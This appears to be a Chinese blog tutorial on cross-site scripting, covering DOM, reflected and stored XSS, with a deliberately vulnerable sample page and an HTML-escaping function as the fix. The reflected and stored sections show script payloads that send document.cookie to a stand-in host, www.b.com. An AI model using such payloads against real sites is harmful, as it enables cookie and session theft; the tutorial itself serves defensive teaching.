用一句话来说,跨站脚本攻击就是你的页面内容里直接使用了用户的输入。如果用户的输入里包含恶意的代码那么他的恶意代码就会植入你的页面。

跨站脚本攻击的英文全称是 Cross Site Script 但是CSS这个缩写已经被层叠样式表(Cascading Style Sheets)占用了,通常我们用XSS来代表跨站脚本攻击。

跨站脚本攻击分为三种。

Dom型XSS

Dom型XSS攻击只在用户client端发生,并不需要与Server通讯。比如我们下边这个例子:


<html>
    <head>
        <script>
        function update()
        {
            document.write("hi! "+document.getElementById("nameText").value)
        }
        </script>
    </head>
    <body>
        <input id="nameText" type="text" name="名字">
        <button onclick="update()">点我</button>
    </body>
</html>

我们期望的是用户输入一个名字,但是如果用户输入的是:


<script>alert("dom XSS")</script>

那么点击按钮后,用户的代码就会被执行。这里只是掩饰了简单的弹出提示框。但是用户可以写任意的javascript代码在这里,比如向后台发起一个请求。这个请求是在当前页面的context发起的。如果你的后台服务本来设置了访问的白名单只允许站内访问。在这时就失效了。

防范措施

通过编码转义,任何用户输入,都需要进行敏感字符转义:


function htmlEscapte(str){
    return str
        .replace(/&/g, '&amp;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#39;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
}

反射型XSS

反射型XSS是用户的输入会去Server转一圈,然后返回client。这种XSS的一个例子:
比如你的一个后台页面接收get请求的一个参数,然后把这个参数放入新生成的页面返回给前台。
比如请求后台的URL是 http://www.mysite.com?name=Mark,
在后台你从request里取得name参数,并用它构造一个html 内容就是”Hi “+ request.getParameter(“name”)
你返回生成的页面只有一行内容:Hi Mark!
这时如果黑客生成这样一个URL并发给其他人

http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>

那么无意中打开这个URL的人则会把自己的cookie发送到黑客指定的网站去。
解决这个问题的办法同样是需要在后台对用户输入进行转义。

存储型XSS

存储型XSS与反射型XSS类似,不同的是黑客的攻击代码会存储在服务器端。比如用户发表一篇文章,内部添加了

<script>window.open(“www.b.com?param=”+document.cookie)</script>

这样的代码,那么后台如果不做处理,则只要浏览了这个用户发表的这边文章的用户,都会将自己的cookie发送到黑客指定的网站。如果cookie中包含用户个人信息,以及登录相关信息,则会对网站安全造成威胁。

无论哪种类型的攻击,都是因为我们信任了用户的输入引起的。不论在前端还是后端,都不能直接将用户的输入嵌入要生成的HTML里。最简单的办法就是对用户的输入进行转义操作。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

%d 博主赞过: